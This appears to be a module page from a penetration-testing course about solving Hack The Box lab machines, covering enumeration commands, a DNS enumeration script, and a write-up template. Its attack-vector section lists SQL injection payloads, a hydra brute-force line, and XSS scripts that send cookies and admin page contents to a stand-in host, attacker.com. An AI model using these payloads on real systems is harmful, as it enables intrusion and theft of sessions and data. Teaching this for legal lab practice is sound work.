Skip to content

Cracking into HTB

Master the Hack The Box platform and develop systematic approaches to machine exploitation. This module covers platform navigation, methodology development, and practical penetration testing techniques.

Learning Objectives

  • Navigate the HTB platform effectively
  • Develop systematic enumeration methodology
  • Practice initial foothold techniques
  • Master documentation and reporting
  • Build a personal methodology framework

🎮 HTB Platform Overview

Hack The Box provides realistic penetration testing scenarios through vulnerable machines and challenges.

Platform Structure

Active Machines (20) - Regularly rotated machines - Points awarded for user/root flags - Competitive environment - No writeups allowed while active

Retired Machines (300+) - Permanent access with VIP subscription - Writeups and tutorials available - Great for learning and practice - Categorized by difficulty and OS

Starting Point - Guided learning path - Step-by-step tutorials - Perfect for beginners - Free tier available

Difficulty Characteristics Recommended For
Easy Basic enumeration, common vulnerabilities Beginners
Medium Multi-step exploitation, some custom techniques Intermediate
Hard Advanced techniques, custom exploits Advanced
Insane CTF-style challenges, novel techniques Expert

🔍 Systematic Enumeration Methodology

Developing a consistent approach is crucial for success on HTB machines.

The OWASP Testing Methodology

graph TD
    A[1. Information Gathering] --> B[2. Configuration Testing]
    B --> C[3. Identity Management]
    C --> D[4. Authentication Testing]
    D --> E[5. Authorization Testing]
    E --> F[6. Session Management]
    F --> G[7. Input Validation]
    G --> H[8. Error Handling]
    H --> I[9. Cryptography]
    I --> J[10. Business Logic]
    J --> K[11. Client Side Testing]

HTB Machine Methodology

Phase 1: Reconnaissance

# Network enumeration
export IP=10.10.10.x
nmap -sC -sV -O -oA initial $IP

# Full port scan
nmap -p- --min-rate=1000 -T4 $IP

# UDP scan (top 1000 ports)
sudo nmap -sU --top-ports 1000 $IP

Phase 2: Service Enumeration

# Directory enumeration
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt

# Technology identification
whatweb http://$IP

# Nikto scan
nikto -h http://$IP

# Subdomain enumeration
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
     -u http://FUZZ.$DOMAIN -H "Host: FUZZ.$DOMAIN"
# SMB enumeration
smbclient -L //$IP
smbmap -H $IP

# Null session testing
smbclient -N //$IP/share

# SMB vulnerability scanning
nmap --script smb-vuln* -p 139,445 $IP

# Enum4linux
enum4linux -a $IP
# SSH enumeration
ssh-keyscan $IP

# User enumeration (if applicable)
python3 ssh_user_enum.py --port 22 --userList users.txt $IP

# Brute force (as last resort)
hydra -L users.txt -P passwords.txt ssh://$IP

Advanced Enumeration Techniques

DNS Enumeration

#!/usr/bin/env python3
"""
DNS enumeration script for HTB machines
"""

import dns.resolver
import dns.zone
import sys
import threading
from concurrent.futures import ThreadPoolExecutor

class DNSEnumerator:
    def __init__(self, domain, nameserver=None):
        self.domain = domain
        self.nameserver = nameserver
        self.subdomains = []

    def check_subdomain(self, subdomain):
        """Check if a subdomain exists"""
        full_domain = f"{subdomain}.{self.domain}"
        try:
            resolver = dns.resolver.Resolver()
            if self.nameserver:
                resolver.nameservers = [self.nameserver]

            answers = resolver.resolve(full_domain, 'A')
            for answer in answers:
                print(f"[+] Found: {full_domain} -> {answer}")
                self.subdomains.append(full_domain)

        except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer, Exception):
            pass

    def zone_transfer(self):
        """Attempt DNS zone transfer"""
        try:
            zone = dns.zone.from_xfr(dns.query.xfr(self.nameserver, self.domain))
            print(f"[+] Zone transfer successful for {self.domain}")
            for name, node in zone.nodes.items():
                print(f"    {name}.{self.domain}")
        except Exception as e:
            print(f"[-] Zone transfer failed: {e}")

    def brute_force(self, wordlist_file):
        """Brute force subdomains"""
        try:
            with open(wordlist_file, 'r') as f:
                subdomains = [line.strip() for line in f if line.strip()]

            print(f"[*] Brute forcing {len(subdomains)} subdomains...")

            with ThreadPoolExecutor(max_workers=50) as executor:
                executor.map(self.check_subdomain, subdomains)

        except FileNotFoundError:
            print(f"[-] Wordlist file not found: {wordlist_file}")

# Usage example
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 dns_enum.py <domain> [nameserver]")
        sys.exit(1)

    domain = sys.argv[1]
    nameserver = sys.argv[2] if len(sys.argv) > 2 else None

    enumerator = DNSEnumerator(domain, nameserver)

    # Try zone transfer first
    if nameserver:
        enumerator.zone_transfer()

    # Brute force common subdomains
    enumerator.brute_force("/usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt")

🎯 Common Attack Vectors on HTB

Understanding frequent attack patterns helps develop efficient approaches.

Web Application Vulnerabilities

SQL Injection Testing

-- Basic SQLi detection payloads
' OR '1'='1' --
' OR '1'='1' /*
admin'--
admin'/*
' OR 1=1#

-- Union-based SQLi
' UNION SELECT 1,2,3,4,5--
' UNION SELECT null,username,password,null,null FROM users--

-- Time-based blind SQLi
'; WAITFOR DELAY '00:00:05'--
' AND (SELECT SUBSTRING(@@version,1,1))='M' WAITFOR DELAY '00:00:05'--

-- Boolean-based blind SQLi
' AND 1=1--
' AND 1=2--
' AND (SELECT SUBSTRING(user(),1,1))='r'--

Cross-Site Scripting (XSS)

// Basic XSS payloads
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>

// Advanced XSS for data exfiltration
<script>
fetch('/admin/users', {
    credentials: 'include'
}).then(response => response.text())
.then(data => {
    fetch('http://attacker.com/collect?data=' + btoa(data));
});
</script>

// Cookie stealing payload
<script>
document.location='http://attacker.com/collect?cookie='+document.cookie;
</script>

File Upload Vulnerabilities

Common file upload bypass techniques:

Technique Example Description
Extension Bypass .php5, .phtml, .php3 Alternative PHP extensions
Double Extension shell.php.jpg Relies on server misconfiguration
Null Byte shell.php%00.jpg Null byte injection (older systems)
MIME Type Bypass Change Content-Type header Server trusts client-provided MIME
Magic Bytes Add image headers to PHP file Bypass content validation

📋 HTB Machine Documentation Template

Consistent documentation is crucial for learning and reporting.

Machine Information Template

# Machine Name: [MACHINE_NAME]

## Basic Information
- **IP Address:** 10.10.10.x
- **Operating System:** [Linux/Windows]
- **Difficulty:** [Easy/Medium/Hard/Insane]
- **Points:** [10/20/30/40/50]
- **Release Date:** [DATE]
- **Retirement Date:** [DATE]

## Executive Summary
[Brief overview of the machine and key vulnerabilities]

## Enumeration

### Port Scanning
```bash
nmap -sC -sV -O -oA initial 10.10.10.x

Open Ports: - 22/tcp - SSH - 80/tcp - HTTP - [Additional ports]

Service Enumeration

HTTP (Port 80)

  • Technology: [Apache/Nginx/IIS version]
  • Directories Found: [List directories]
  • Interesting Files: [Config files, etc.]

SSH (Port 22)

  • Version: [OpenSSH version]
  • Authentication Methods: [password/key]

Vulnerability Analysis

[Vulnerability Name]

  • CVSS Score: [Score]
  • Description: [Detailed description]
  • Impact: [What can be achieved]
  • Exploitation: [How to exploit]

Exploitation

Initial Foothold

[Detailed steps to gain initial access]

Privilege Escalation

[Steps to escalate privileges]

Post-Exploitation

User Flag

Location: /home/user/user.txt Content: [flag_content]

Root Flag

Location: /root/root.txt Content: [flag_content]

Remediation

Critical Issues

  1. [Issue 1 and remediation]
  2. [Issue 2 and remediation]

Recommendations

  1. [Recommendation 1]
  2. [Recommendation 2]

Tools Used

  • Nmap
  • Gobuster
  • Burp Suite
  • [Additional tools]

Lessons Learned

[Key takeaways and new techniques learned]

## 🏆 HTB Success Strategies

### Time Management

!!! tip "Efficient Machine Approach"
    1. **15 minutes:** Initial enumeration and port scanning
    2. **30 minutes:** Service enumeration and vulnerability research
    3. **45 minutes:** Initial exploitation attempts
    4. **30 minutes:** Privilege escalation
    5. **15 minutes:** Documentation and flag submission

### Common Pitfalls to Avoid

!!! warning "HTB Gotchas"
    - **Rabbit holes:** Don't spend too much time on dead ends
    - **Overthinking:** Sometimes the solution is simpler than expected
    - **Tool dependency:** Learn manual techniques, not just automated tools
    - **Poor enumeration:** Thorough enumeration often reveals the path forward
    - **Inadequate research:** Always research unfamiliar services and versions

## 🎮 Recommended Starting Machines

### Easy Machines for Beginners

| Machine | Focus Area | Key Learning |
|:--------|:-----------|:-------------|
| **Lame** | SMB exploitation | CVE research and Metasploit usage |
| **Legacy** | Buffer overflow | Basic exploit development |
| **Blue** | EternalBlue | Windows exploitation |
| **Jerry** | Web shells | File upload vulnerabilities |
| **Netmon** | PRTG | Default credentials and file inclusion |

### Medium Machines for Skill Building

| Machine | Focus Area | Key Learning |
|:--------|:-----------|:-------------|
| **Bastard** | Drupal exploitation | CMS vulnerabilities |
| **Optimum** | HFS exploitation | Windows privilege escalation |
| **Grandpa** | IIS 6.0 exploitation | WebDAV vulnerabilities |
| **Forest** | Active Directory | Kerberoasting and DCSync |
| **Resolute** | AD enumeration | BloodHound and PowerView |

## 🔬 Practical Exercises

### Exercise 1: Complete Enumeration
Pick an easy retired machine and perform comprehensive enumeration:

```bash
# Create methodology checklist
mkdir htb_methodology
cd htb_methodology

# Port scanning checklist
echo "Port Scanning Checklist:" > enumeration_checklist.txt
echo "[ ] Initial TCP scan (-sC -sV)" >> enumeration_checklist.txt
echo "[ ] Full port scan (-p-)" >> enumeration_checklist.txt
echo "[ ] UDP scan (--top-ports 1000)" >> enumeration_checklist.txt
echo "[ ] Vulnerability scripts (--script vuln)" >> enumeration_checklist.txt

# Service enumeration checklist
echo "Service Enumeration:" >> enumeration_checklist.txt
echo "[ ] Web services (gobuster, nikto)" >> enumeration_checklist.txt
echo "[ ] SMB services (smbmap, enum4linux)" >> enumeration_checklist.txt
echo "[ ] SSH services (version, auth methods)" >> enumeration_checklist.txt

Exercise 2: Vulnerability Research

For each discovered service:

  1. Identify exact version
  2. Search for known vulnerabilities (CVE databases, Exploit-DB)
  3. Understand the vulnerability (root cause, impact)
  4. Find or develop exploit code
  5. Test in controlled environment

📈 Progress Tracking

Monitor your HTB journey:

Machine Completion Goals: - [ ] 5 Easy machines completed - [ ] 3 Medium machines completed - [ ] 1 Hard machine completed - [ ] Methodology documented and refined - [ ] Personal cheat sheet created

Skill Development: - [ ] Consistent enumeration methodology - [ ] Efficient time management - [ ] Professional documentation habits - [ ] Manual verification of automated findings - [ ] Creative problem-solving approaches


Ready for the Next Level?

You've mastered HTB fundamentals! Continue with Local Privilege Escalation to learn advanced post-exploitation techniques.